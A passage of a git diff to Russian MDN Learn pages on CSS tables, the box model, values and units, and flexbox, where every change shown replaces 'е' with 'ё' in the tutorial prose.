сплошной цвет фона, который обеспечит фон строкам таблицы в том случае если браузер не поддерживает селектор <code>:nth-child</code>.</li> </ul> @@ -258,7 +258,7 @@ table { letter-spacing: 1px; }</pre> -<p>Здесь нет ничего особенного, кроме свойства {{cssxref("caption-side")}}, которое имеет значение <code>bottom</code>. В этом случае заголовок будет размещен внизу таблицы и это вместе со всем остальным обеспечивает нашей таблице окончательный вид (можно посмотреть по ссылке <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>):</p> +<p>Здесь нет ничего особенного, кроме свойства {{cssxref("caption-side")}}, которое имеет значение <code>bottom</code>. В этом случае заголовок будет размещён внизу таблицы и это вместе со всем остальным обеспечивает нашей таблице окончательный вид (можно посмотреть по ссылке <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>):</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13076/table-with-caption.png" style="display: block; height: 357px; margin: 0px auto; width: 723px;"></p> @@ -274,14 +274,14 @@ table { <li>Сделайте свою разметку простой и гибкой, например, используя для этого проценты, что сделает дизайн более отзывчивым.</li> <li>Используйте {{cssxref("table-layout")}}<code>: fixed</code> для более понятного поведения разметки, при этом легко установить ширину столбцов, установив ширину {{cssxref("width")}} для заголовков таблицы ({{htmlelement("th")}}).</li> <li>Используйте {{cssxref("border-collapse")}}<code>: collapse</code>, которое схлопнет границы элементов таблицы, что обеспечит аккуратный внешний вид.</li> - <li>Используйте {{htmlelement("thead")}}, {{htmlelement("tbody")}} и {{htmlelement("tfoot")}} чтобы разбить вашу таблицу на логические фрагменты и предоставив таким образом дополнительные точки для применения CSS, это дает возможность накладывать стили друг на друга, если это необходимо.</li> + <li>Используйте {{htmlelement("thead")}}, {{htmlelement("tbody")}} и {{htmlelement("tfoot")}} чтобы разбить вашу таблицу на логические фрагменты и предоставив таким образом дополнительные точки для применения CSS, это даёт возможность накладывать стили друг на друга, если это необходимо.</li> <li>Используйте полоски зебры, чтобы облегчить чтение между строк.</li> <li>Используйте {{cssxref("text-align")}} чтобы выровнять текст в {{htmlelement("th")}} и {{htmlelement("td")}} для более аккуратного и удобного оформления.</li> </ul> <h2 id="Заключение">Заключение</h2> -<p>Несмотря на головокружительные успехи достигнутые в стилизации таблиц, у нас есть еще кое-что чем мы можем занять наше время. В следующей главе мы рассмотрим некоторые продвинутые эффекты, уже устоявшиеся (например, тени box shadows) и те которые только недавно появились в браузерах, такие как режимы наложения blend-mode и фильтры.</p> +<p>Несмотря на головокружительные успехи достигнутые в стилизации таблиц, у нас есть ещё кое-что чем мы можем занять наше время. В следующей главе мы рассмотрим некоторые продвинутые эффекты, уже устоявшиеся (например, тени box shadows) и те которые только недавно появились в браузерах, такие как режимы наложения blend-mode и фильтры.</p> <p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</p> diff --git a/files/ru/learn/css/building_blocks/the_box_model/index.html b/files/ru/learn/css/building_blocks/the_box_model/index.html index 19fb0e66d7..96ba3fb315 100644 --- a/files/ru/learn/css/building_blocks/the_box_model/index.html +++ b/files/ru/learn/css/building_blocks/the_box_model/index.html @@ -99,7 +99,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <h2 id="Что_такое_модель_коробки_CSS">Что такое модель коробки CSS?</h2> -<p>Полностью блочная модель в CSS применяется к блочным элементам, строчные элементы используют не все свойства, определенные блочной моделью. Модель определяет, как разные части элемента — поля, границы, отступы и содержимое — работают вместе, чтобы создать объект, который вы можете увидеть на странице. Чтобы добавить дополнительную сложность элементу, используются стандартные и альтернативные блочные модели.</p> +<p>Полностью блочная модель в CSS применяется к блочным элементам, строчные элементы используют не все свойства, определённые блочной моделью. Модель определяет, как разные части элемента — поля, границы, отступы и содержимое — работают вместе, чтобы создать объект, который вы можете увидеть на странице. Чтобы добавить дополнительную сложность элементу, используются стандартные и альтернативные блочные модели.</p> <h3 id="Составляющие_элемента">Составляющие элемента</h3> @@ -151,7 +151,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model box-sizing: border-box; } </code></pre> -<p>Если вы хотите, чтобы все ваши элементы использовали альтернативную блочную модель, что является распространенным выбором среди разработчиков, установите свойство <code>box-sizing</code> для элемента <code><html></code>, затем настройте все элементы для наследования этого значения (inherit), как показано на фрагменте ниже. Если вы хотите понять, что стоит за этим, смотрите статью <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">the CSS Tricks article on box-sizing</a>.</p> +<p>Если вы хотите, чтобы все ваши элементы использовали альтернативную блочную модель, что является распространённым выбором среди разработчиков, установите свойство <code>box-sizing</code> для элемента <code><html></code>, затем настройте все элементы для наследования этого значения (inherit), как показано на фрагменте ниже. Если вы хотите понять, что стоит за этим, смотрите статью <a href="https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/">the CSS Tricks article on box-sizing</a>.</p> <pre class="brush: css notranslate"><code class="language-css"><span class="selector token">html</span> <span class="punctuation token">{</span> <span class="property token">box-sizing</span><span class="punctuation token">:</span> border-box<span class="punctuation token">;</span> @@ -166,7 +166,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <h2 id="Играем_с_блочными_моделями">Играем с блочными моделями</h2> -<p>В примере ниже, вы можете видеть 2 объекта. Оба имеют класс <code>.box</code>, который дает им одинаковые параметры <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, и <code>padding</code>. Единственное различие в том, что второй объект объявлен по альтернативной блочной модели.</p> +<p>В примере ниже, вы можете видеть 2 объекта. Оба имеют класс <code>.box</code>, который даёт им одинаковые параметры <code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code>, и <code>padding</code>. Единственное различие в том, что второй объект объявлен по альтернативной блочной модели.</p> <p><strong>Можете ли вы изменить размер второго объекта (добавляя CSS в класс <code>.alternate)</code> чтобы ширина и высота совпали с первым блоком?</strong></p> @@ -188,13 +188,13 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <h2 id="Поля_отступы_и_границы"><span class="tlid-translation translation" lang="ru"><span title="">Поля, отступы и границы</span></span></h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Вы уже видели свойства {{cssxref ("margin")}}, {{cssxref ("padding")}} и {{cssxref ("border")}} в работе в приведенном выше примере.</span> <span title="">Свойства, используемые в этом примере, являются общими и позволяют нам устанавливать все четыре стороны поля одновременно.</span> <span title="">Эти параметры также имеют эквивалентные свойства, которые позволяют индивидуально управлять разными сторонами поля.</span><br> +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы уже видели свойства {{cssxref ("margin")}}, {{cssxref ("padding")}} и {{cssxref ("border")}} в работе в приведённом выше примере.</span> <span title="">Свойства, используемые в этом примере, являются общими и позволяют нам устанавливать все четыре стороны поля одновременно.</span> <span title="">Эти параметры также имеют эквивалентные свойства, которые позволяют индивидуально управлять разными сторонами поля.</span><br> <br> <span title="">Давайте рассмотрим эти свойства более подробно.</span></span></p> <h3 id="Поле_внешнего_отступа_margin">Поле внешнего отступа (margin)</h3> -<p>Margin это невидимое пространство вокруг вашего элемента. Оно отталкивает другие элементы от него. Margin может быть как положительным, так и отрицательным. Негативное значение для внешнего отступа может привести к перекрытию некоторых элементов страницы. Независимо от того, используете ли вы стандартную или альтернативную блочную модель, margin всегда добавляется после расчета размера видимого бокса.</p> +<p>Margin это невидимое пространство вокруг вашего элемента. Оно отталкивает другие элементы от него. Margin может быть как положительным, так и отрицательным. Негативное значение для внешнего отступа может привести к перекрытию некоторых элементов страницы. Независимо от того, используете ли вы стандартную или альтернативную блочную модель, margin всегда добавляется после расчёта размера видимого бокса.</p> <p>Мы можем контролировать все поля элемента сразу, используя свойство {{cssxref ("margin")}}, или каждую сторону индивидуально, используя эквивалентные полные свойства:</p> @@ -219,7 +219,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <p>{{EmbedGHLiveSample("css-examples/learn/box-model/margin-collapse.html", '100%', 1000)}} </p> -<p>Существует ряд правил, которые определяют, когда поля уменьшаются, а когда нет. Для получения подробной информации см. <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">margin collapsing</a>. Главное, что нужно сейчас помнить, — это то, что происходит схлопывание полей. Если вы создаете пространство с полями и не получаете ожидаемого результата, вероятно, именно это и происходит. </p> +<p>Существует ряд правил, которые определяют, когда поля уменьшаются, а когда нет. Для получения подробной информации см. <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">margin collapsing</a>. Главное, что нужно сейчас помнить, — это то, что происходит схлопывание полей. Если вы создаёте пространство с полями и не получаете ожидаемого результата, вероятно, именно это и происходит. </p> <h3 id="Границы">Границы</h3> @@ -227,9 +227,9 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <p>Для стилизации границ существует большое количество различных свойств — имеется четыре границы, и каждая из них имеет свой стиль, ширину и цвет, которыми мы можем манипулировать.</p> -<p>Вы можете установить ширину, стиль или цвет всех четырех границ сразу используя {{cssxref("border")}} свойства.</p> +<p>Вы можете установить ширину, стиль или цвет всех четырёх границ сразу используя {{cssxref("border")}} свойства.</p> -<p>Чтобы установить индивидуальные свойства для каждой из четырех сторон вы можете использовать:</p> +<p>Чтобы установить индивидуальные свойства для каждой из четырёх сторон вы можете использовать:</p> <ul> <li>{{cssxref("border-top")}}</li> @@ -263,13 +263,13 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <li>{{cssxref("border-left-color")}}</li> </ul> -<p><strong>В примере ниже мы использовали различные сокращенные и длинные способы создания границ. Поиграйте с различными свойствами чтобы проверить как вы поняли принципы их работы. MDN страницы свойств границ дадут вам информацию о различных стилях, которые вы можете использовать.</strong></p> +<p><strong>В примере ниже мы использовали различные сокращённые и длинные способы создания границ. Поиграйте с различными свойствами чтобы проверить как вы поняли принципы их работы. MDN страницы свойств границ дадут вам информацию о различных стилях, которые вы можете использовать.</strong></p> <p>{{EmbedGHLiveSample("css-examples/learn/box-model/border.html", '100%', 1000)}} </p> <h3 id="Padding">Padding</h3> -<p>Padding расположен между границей и областью контента блока. В отличии от внешних отступов (margin), вы не можете использовать отрицательные значения для padding, поэтому значения должны быть положительными или равными 0. Любой, примененный к вашим элементам фон, будет отображаться под областью padding, и поэтому он обычно используется чтобы отодвинуть контент от границы.</p> +<p>Padding расположен между границей и областью контента блока. В отличии от внешних отступов (margin), вы не можете использовать отрицательные значения для padding, поэтому значения должны быть положительными или равными 0. Любой, применённый к вашим элементам фон, будет отображаться под областью padding, и поэтому он обычно используется чтобы отодвинуть контент от границы.</p> <p>Вы можете контролировать значение padding для всех сторон элемента, используя {{cssxref("padding")}} свойство, или для каждой стороны индивидуально, используя используя следующие свойства:</p> @@ -282,7 +282,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <p><strong>Если вы измените значения padding в классе <code>.box</code> в примере ниже, вы можете увидеть что это изменяет положение текста относительно поля.</strong></p> -<p><strong>Вы также можете изменить padding в классе <code>.container,</code> который создает пространство между контейнером и боксом. Padding может быть изменен для любого элемента, и создать пространство между этой и любой другой границей внутри элемента.</strong></p> +<p><strong>Вы также можете изменить padding в классе <code>.container,</code> который создаёт пространство между контейнером и боксом. Padding может быть изменён для любого элемента, и создать пространство между этой и любой другой границей внутри элемента.</strong></p> <p>{{EmbedGHLiveSample("css-examples/learn/box-model/padding.html", '100%', 800)}} </p> @@ -290,7 +290,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <p>Всё, сказанное ранее, полностью применимо к блочным элементам. Некоторые из свойств могут быть также применены и к строчным (inline) элементам, например, элемент, создаваемый с помощью <code><span></code>.</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">В приведенном ниже примере у нас есть <span> внутри абзаца, и мы применили к нему </span></span><code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code> и <code>padding</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Вы можете видеть, что ширина и высота игнорируются.</span> <span title="">Вертикальные поля, отступы и границы соблюдаются, но они не изменяют отношения другого содержимого к нашему строчному элементу, и поэтому отступ и граница перекрывают другие слова в абзаце.</span> <span title="">Горизонтальные отступы, поля и границы соблюдаются и заставят другой контент отодвинуться от нашего элемента.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В приведённом ниже примере у нас есть <span> внутри абзаца, и мы применили к нему </span></span><code>width</code>, <code>height</code>, <code>margin</code>, <code>border</code> и <code>padding</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Вы можете видеть, что ширина и высота игнорируются.</span> <span title="">Вертикальные поля, отступы и границы соблюдаются, но они не изменяют отношения другого содержимого к нашему строчному элементу, и поэтому отступ и граница перекрывают другие слова в абзаце.</span> <span title="">Горизонтальные отступы, поля и границы соблюдаются и заставят другой контент отодвинуться от нашего элемента.</span></span></p> <p>{{EmbedGHLiveSample("css-examples/learn/box-model/inline-box-model.html", '100%', 800)}} </p> @@ -313,7 +313,7 @@ translation_of: Learn/CSS/Building_blocks/The_box_model <p><span class="tlid-translation translation" lang="ru"><span title="">Это может быть полезно, когда вы хотите создать ссылку с большой областью попадания, добавив </span></span><code>padding</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> </span><code><a></code><span class="tlid-translation translation" lang="ru"><span title=""> - это строчный элемент, такой же как <code><span></code>;</span> <span title="">вы можете использовать <code>display: inline-block</code>, чтобы разрешить установку отступов, что упростит пользователю переход по ссылке.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Вы довольно часто видите это на панели навигации.</span> <span title="">Приведенная ниже навигация отображается в виде строки с использованием flexbox, и мы добавили отступы к элементу <code><a></code>, также мы хотим чтобы изменялся </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title=""> при наведении курсора на <code><a></code>.</span> <span title="">Отступы перекрывают границу элемента <code><ul></code>.</span> <span title="">Это потому, что <code><a></code> является строчным элементом.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы довольно часто видите это на панели навигации.</span> <span title="">Приведённая ниже навигация отображается в виде строки с использованием flexbox, и мы добавили отступы к элементу <code><a></code>, также мы хотим чтобы изменялся </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title=""> при наведении курсора на <code><a></code>.</span> <span title="">Отступы перекрывают границу элемента <code><ul></code>.</span> <span title="">Это потому, что <code><a></code> является строчным элементом.</span></span></p> <p><strong><span class="tlid-translation translation" lang="ru"><span title="">Добавьте в правило <code>display: inline-block</code> с помощью селектора <code>.links-list a</code>, и вы увидите, как он решает эту проблему, заставляя другие элементы соблюдать отступы.</span></span></strong></p> diff --git a/files/ru/learn/css/building_blocks/values_and_units/index.html b/files/ru/learn/css/building_blocks/values_and_units/index.html index d64426b99e..2e32d47268 100644 --- a/files/ru/learn/css/building_blocks/values_and_units/index.html +++ b/files/ru/learn/css/building_blocks/values_and_units/index.html @@ -22,7 +22,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <h2 id="Что_такое_значение_CSS">Что такое значение CSS?</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">В спецификациях CSS и на страницах свойств здесь в MDN вы сможете определять (узнавать) значения, потому как они будут заключены в угловые скобки, например </span></span><code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code> или <code><a href="/en-US/docs/Web/CSS/length"><length></a></code><a href="/en-US/docs/Web/CSS/length">. </a>Если вы видите значение <code><color></code> как действительное для определенного свойства это значит что вы можете использовать любой валидный цвет в качестве значение для этого свойства, как перечислено на странице <code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code><a href="/en-US/docs/Web/CSS/color_value">.</a></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В спецификациях CSS и на страницах свойств здесь в MDN вы сможете определять (узнавать) значения, потому как они будут заключены в угловые скобки, например </span></span><code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code> или <code><a href="/en-US/docs/Web/CSS/length"><length></a></code><a href="/en-US/docs/Web/CSS/length">. </a>Если вы видите значение <code><color></code> как действительное для определённого свойства это значит что вы можете использовать любой валидный цвет в качестве значение для этого свойства, как перечислено на странице <code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code><a href="/en-US/docs/Web/CSS/color_value">.</a></p> <div class="blockIndicator note"> <p><strong>Note</strong>: You'll also see CSS values referred to as <em>data types</em>. The terms are basically interchangeable — when you see something in CSS referred to as a data type, it is really just a fancy way of saying value.</p> @@ -40,7 +40,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units } </code> </pre> -<p>Значение в CSS это путь определения коллекции допустимых под-значений. То есть если вы видите <code><color></code> как примененный, то вам не надо озадачиваться какой из разных типов значения цвета может быть использован — ключевое слово, hex значение, функция <code>rgb()</code> и т.д. Вы можете воспользоваться <em>любым </em>доступным значением <code><color></code> при условии, что они поддерживаются вашим браузером. Страницы для всех значений на MDN дадут вам информацию о поддержке браузеров. Например, если вы посмотрите на страницу <code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code> то вы увидите раздел совместимости браузеров в котором перечислены различные типы значений цвета и их поддержка.</p> +<p>Значение в CSS это путь определения коллекции допустимых под-значений. То есть если вы видите <code><color></code> как применённый, то вам не надо озадачиваться какой из разных типов значения цвета может быть использован — ключевое слово, hex значение, функция <code>rgb()</code> и т.д. Вы можете воспользоваться <em>любым </em>доступным значением <code><color></code> при условии, что они поддерживаются вашим браузером. Страницы для всех значений на MDN дадут вам информацию о поддержке браузеров. Например, если вы посмотрите на страницу <code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code> то вы увидите раздел совместимости браузеров в котором перечислены различные типы значений цвета и их поддержка.</p> <p>Давайте посмотрим на некоторые типы значений и единиц с примерами чтобы вы могли опробовать различные возможные значения, с которыми вы можете часто сталкиваться.</p> @@ -69,13 +69,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <tr> <td><code><dimension></code></td> <td> - <p><code><dimension></code> (измерение) это — <code><number></code> (число) с единицей измерения, прикрепленной к нему, например <code>45deg</code>, <code>5s</code>, или <code>10px</code>. <code><dimension></code> — это зонт категорий, включающих в себя типы <code><a href="/en-US/docs/Web/CSS/length"><length></a></code>, <code><a href="/en-US/docs/Web/CSS/angle"><angle></a></code>, <code><a href="/en-US/docs/Web/CSS/time"><time></a></code>, и <code><a href="/en-US/docs/Web/CSS/resolution"><resolution></a></code><a href="/en-US/docs/Web/CSS/resolution"> </a>(длина, угол, время и разрешение)<a href="/en-US/docs/Web/CSS/resolution">. </a></p> + <p><code><dimension></code> (измерение) это — <code><number></code> (число) с единицей измерения, прикреплённой к нему, например <code>45deg</code>, <code>5s</code>, или <code>10px</code>. <code><dimension></code> — это зонт категорий, включающих в себя типы <code><a href="/en-US/docs/Web/CSS/length"><length></a></code>, <code><a href="/en-US/docs/Web/CSS/angle"><angle></a></code>, <code><a href="/en-US/docs/Web/CSS/time"><time></a></code>, и <code><a href="/en-US/docs/Web/CSS/resolution"><resolution></a></code><a href="/en-US/docs/Web/CSS/resolution"> </a>(длина, угол, время и разрешение)<a href="/en-US/docs/Web/CSS/resolution">. </a></p> </td> </tr> <tr> <td><code><a href="/en-US/docs/Web/CSS/percentage"><percentage></a></code></td> <td> - <p><code><percentage></code> (проценты) представляют собой долю некоторого другого значения, например <code>50%</code>. Процентные значения всегда относительны по отношению к другому количеству, например длина элемента относительна к длине ее родительского элемента.</p> + <p><code><percentage></code> (проценты) представляют собой долю некоторого другого значения, например <code>50%</code>. Процентные значения всегда относительны по отношению к другому количеству, например длина элемента относительна к длине её родительского элемента.</p> </td> </tr> </tbody> @@ -140,7 +140,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <h4 id="Единицы_относительной_длины">Единицы относительной длины</h4> -<p>Относительные единицы длин являются относительными к чему-то еще, возможно к размеру родительского шрифта или к размеру окна просмотра. Преимущество использования относительных единиц состоит в том, что при тщательном планировании вы можете сделать так, чтобы размер текста или других элементов масштабировался <span class="tlid-translation translation" lang="ru"><span title="">относительно всего остального на странице.</span></span> Некоторые наиболее используемые единицы веб-разработки перечислены в таблице ниже.</p> +<p>Относительные единицы длин являются относительными к чему-то ещё, возможно к размеру родительского шрифта или к размеру окна просмотра. Преимущество использования относительных единиц состоит в том, что при тщательном планировании вы можете сделать так, чтобы размер текста или других элементов масштабировался <span class="tlid-translation translation" lang="ru"><span title="">относительно всего остального на странице.</span></span> Некоторые наиболее используемые единицы веб-разработки перечислены в таблице ниже.</p> <table class="standard-table"> <thead> @@ -191,7 +191,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <h4 id="Изучение_на_примере">Изучение на примере</h4> -<p>В примере ниже вы можете увидеть, как некоторые относительные и абсолютные единицы длин ведут себя. Первый блок имеет {{cssxref("width")}} (ширину) установленную в пикселях. Как абсолютная единица эта ширина будет оставаться такой же неважно что еще измениться.</p> +<p>В примере ниже вы можете увидеть, как некоторые относительные и абсолютные единицы длин ведут себя. Первый блок имеет {{cssxref("width")}} (ширину) установленную в пикселях. Как абсолютная единица эта ширина будет оставаться такой же неважно что ещё измениться.</p> <p>Второй блок имеет ширину, установленную в единицах <code>vw</code> (ширина окна просмотра). Это значение относительно к ширине окна просмотра и таким образом 10vw это 10 процентов от ширины окна просмотра. Если вы измените ширину окна вашего браузера, размер блока должен измениться, однако этот пример встроен в страницу с использованием <code><a href="/en-US/docs/Web/HTML/Element/iframe"><iframe></a></code>, поэтому это не сработает. Для того чтобы увидеть это в действии вы должны <a href="https://mdn.github.io/css-examples/learn/values-units/length.html">открыть этот пример в отдельной вкладке браузера</a>.</p> @@ -203,7 +203,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <h4 id="em_и_rem">em и rem</h4> -<p><code>em</code> и <code>rem</code> — две относительные длины, с которыми вы вероятное всего сталкиваетесь чаще при разметке чего-либо от блоков до текста. Стоит понимать как они работают, понимать различия между ними, особенно когда вы начинаете переходить к более сложным темам как <a href="/en-US/docs/Learn/CSS/Styling_text">стилизация текста</a> или <a href="/en-US/docs/Learn/CSS/CSS_layout">разметка CSS</a>. Приведенный ниже пример показывает это.</p> +<p><code>em</code> и <code>rem</code> — две относительные длины, с которыми вы вероятное всего сталкиваетесь чаще при разметке чего-либо от блоков до текста. Стоит понимать как они работают, понимать различия между ними, особенно когда вы начинаете переходить к более сложным темам как <a href="/en-US/docs/Learn/CSS/Styling_text">стилизация текста</a> или <a href="/en-US/docs/Learn/CSS/CSS_layout">разметка CSS</a>. Приведённый ниже пример показывает это.</p> <p>HTML это набор вложенных списков — у нас имеется три списка в общей сложности и оба примера имеют одинаковый HTML. Единственное различие в том, что первый имеет класс <em>ems, </em>а второй класс <em>rems</em>.</p> @@ -223,9 +223,9 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <p>В примере ниже два блока с размерами в процентах и два с размерами в пикселях имеющих одинаковые имена классов. Оба набора имеют ширину 200px и 40% соответственно.</p> -<p>Различие в том, что второй набор блоков находится внутри обертки которая имеет ширину 400 пикселей. Второй блок шириной в 200px имеет ту же ширину что и первый, но второй 40 процентный блок теперь имеет 40% от 400px — намного уже чем первый.</p> +<p>Различие в том, что второй набор блоков находится внутри обёртки которая имеет ширину 400 пикселей. Второй блок шириной в 200px имеет ту же ширину что и первый, но второй 40 процентный блок теперь имеет 40% от 400px — намного уже чем первый.</p> -<p><strong>Попробуйте изменить ширину обертки (.wrapper) или процентное значение чтобы увидеть, как это работает.</strong></p> +<p><strong>Попробуйте изменить ширину обёртки (.wrapper) или процентное значение чтобы увидеть, как это работает.</strong></p> <p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} </p> @@ -251,7 +251,7 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <p>Существует много способов определения цвета в CSS, некоторые из которых реализованы довольно-таки недавно по сравнению с другими. Одинаковые значения цвета могут использоваться везде в CSS, определяете ли вы при этом цвет текста, цвет фона или цвет чего-либо еще.</p> -<p>Стандартная система цветов доступная в современных компьютерах — это 24-битная система, которая позволяет отображать около 16.7 миллионов отдельных цветов через комбинацию различных красных, зеленых и синих каналов с 256 различными значениями каждого канала (256 x 256 x 256 = 16,777,216). Давайте взглянем на некоторые способы, с помощью которых мы можем определять цвет в CSS.</p> +<p>Стандартная система цветов доступная в современных компьютерах — это 24-битная система, которая позволяет отображать около 16.7 миллионов отдельных цветов через комбинацию различных красных, зелёных и синих каналов с 256 различными значениями каждого канала (256 x 256 x 256 = 16,777,216). Давайте взглянем на некоторые способы, с помощью которых мы можем определять цвет в CSS.</p> <div class="blockIndicator note"> <p><strong>Внимание</strong>: В этом руководстве мы рассмотрим общие методы определения цвета, которые имеют хорошую поддержку браузерами; существуют и другие методы, но они не имеют столь же хорошей поддержки и являются менее общими.</p> @@ -259,13 +259,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <h3 id="Ключевые_слова_цвета">Ключевые слова цвета</h3> -<p>Довольно часто в примерах как здесь, так и на других страницах в MDN вы будете видеть использование ключевых слов цвета, поскольку это простой и понятный способ определения цвета. Существует определенное количество этих ключевых слов и некоторые их них имеют довольно занимательные имена! Полный список вы можете посмотреть на странице значений <code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code> .</p> +<p>Довольно часто в примерах как здесь, так и на других страницах в MDN вы будете видеть использование ключевых слов цвета, поскольку это простой и понятный способ определения цвета. Существует определённое количество этих ключевых слов и некоторые их них имеют довольно занимательные имена! Полный список вы можете посмотреть на странице значений <code><a href="/en-US/docs/Web/CSS/color_value"><color></a></code> .</p> <p><strong>Попробуйте поиграть с разными значениями цвета на живом примере ниже, чтобы понять больше об идее как они работают.</strong></p> <h3 id="Шестнадцатеричные_RGB_значения"><span class="tlid-translation translation" lang="ru"><span title="">Шестнадцатеричные</span></span> RGB значения</h3> -<p>Следующий тип значения цвета, с которым вы сталкиваетесь вероятнее всего — это шестнадцатеричные коды. Каждое hex-значение состоит из символа решетки (#) за которым следуют 6 шестнадцатеричных чисел, каждое из которых может принимать одно из 16 значений от 0 до f (представляющая 15) — то есть <code>0123456789abcdef</code>. Каждая пара значений представляет один из каналов — красного, зеленого или синего цветов — и позволяет нам определять любой из 256 доступных значений для каждого (16 x 16 = 256).</p> +<p>Следующий тип значения цвета, с которым вы сталкиваетесь вероятнее всего — это шестнадцатеричные коды. Каждое hex-значение состоит из символа решётки (#) за которым следуют 6 шестнадцатеричных чисел, каждое из которых может принимать одно из 16 значений от 0 до f (представляющая 15) — то есть <code>0123456789abcdef</code>. Каждая пара значений представляет один из каналов — красного, зелёного или синего цветов — и позволяет нам определять любой из 256 доступных значений для каждого (16 x 16 = 256).</p> <p>Эти значения являются немного более сложными и менее простыми для понимания, но они намного более универсальны чем ключевые слова — вы можете использовать hex-значения чтобы отобразить любой цвет, который вы хотите использовать в своей цветовой схеме.</p> @@ -275,13 +275,13 @@ translation_of: Learn/CSS/Building_blocks/Values_and_units <h3 id="RGB_и_RGBA_значения">RGB и RGBA значения</h3> -<p>Третья схема, о которой мы здесь поговорим это RGB. Значения RGB это функция — <code>rgb()</code> — которой дается три параметра представляющих каналы красного, зеленого и синего значений цветов, во многом так же, как hex-значения. Отличие с RGB является то, что каждый канал представлен не двумя hex-цифрами, а десятичным числом между 0 и 255 — что отчасти проще в понимании.</p> +<p>Третья схема, о которой мы здесь поговорим это RGB. Значения RGB это функция — <code>rgb()</code> — которой даётся три параметра представляющих каналы красного, зелёного и синего значений цветов, во многом так же, как hex-значения. Отличие с RGB является то, что каждый канал представлен не двумя hex-цифрами, а десятичным числом между 0 и 255 — что отчасти проще в понимании.</p> <p>Давайте перепишем наш последний пример используя RGB цвета:</p> <p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} </p> -<p>А также вы можете использовать цвета RGBA — что работает в точности, как и цвета RGB и то есть вы можете использовать любое значение RGB, однако существует четвертое значение, которое представляет альфа канал цвета, которое контролирует мутность. Если вы установите это значение на <code>0</code>, то это сделает цвет полностью прозрачным, тогда как <code>1</code> сделает его полностью мутным. Значения между дают вам разные уровни прозрачности.</p> +<p>А также вы можете использовать цвета RGBA — что работает в точности, как и цвета RGB и то есть вы можете использовать любое значение RGB, однако существует четвёртое значение, которое представляет альфа канал цвета, которое контролирует мутность. Если вы установите это значение на <code>0</code>, то это сделает цвет полностью прозрачным, тогда как <code>1</code> сделает его полностью мутным. Значения между дают вам разные уровни прозрачности.</p> <div class="blockIndicator note"> <p><strong>Внимание</strong>: Настройка альфа канала в цвете имеет одно ключевое различие в использовании свойства {{cssxref("opacity")}} которое мы рассматривали ранее. когда вы используете мутность вы делаете элемент и все внутри него мутным, тогда как при использовании цвета RGBA вы делаете мутным только тот цвет который вы специфицируете.</p> diff --git a/files/ru/learn/css/css_layout/flexbox/index.html b/files/ru/learn/css/css_layout/flexbox/index.html index d67eedc31f..46e77bfe72 100644 --- a/files/ru/learn/css/css_layout/flexbox/index.html +++ b/files/ru/learn/css/css_layout/flexbox/index.html @@ -28,7 +28,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox <h2 id="Почему_Flexbox">Почему Flexbox?</h2> -<p>Долгое время единственными надёжными инструментами CSS верстки были такие способы как Float (обтекание) и позиционирование.</p> +<p>Долгое время единственными надёжными инструментами CSS вёрстки были такие способы как Float (обтекание) и позиционирование.</p> <p>С их помощью сложно или невозможно достичь следующих простых требований к макету:</p> @@ -44,7 +44,7 @@ translation_of: Learn/CSS/CSS_layout/Flexbox <p>В этой статье вы проработаете серию упражнений, которые помогут понять, как работает flexbox. Чтобы начать, скачайте на компьютер стартовый файл — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> с нашего Github репозитория — загрузите его в 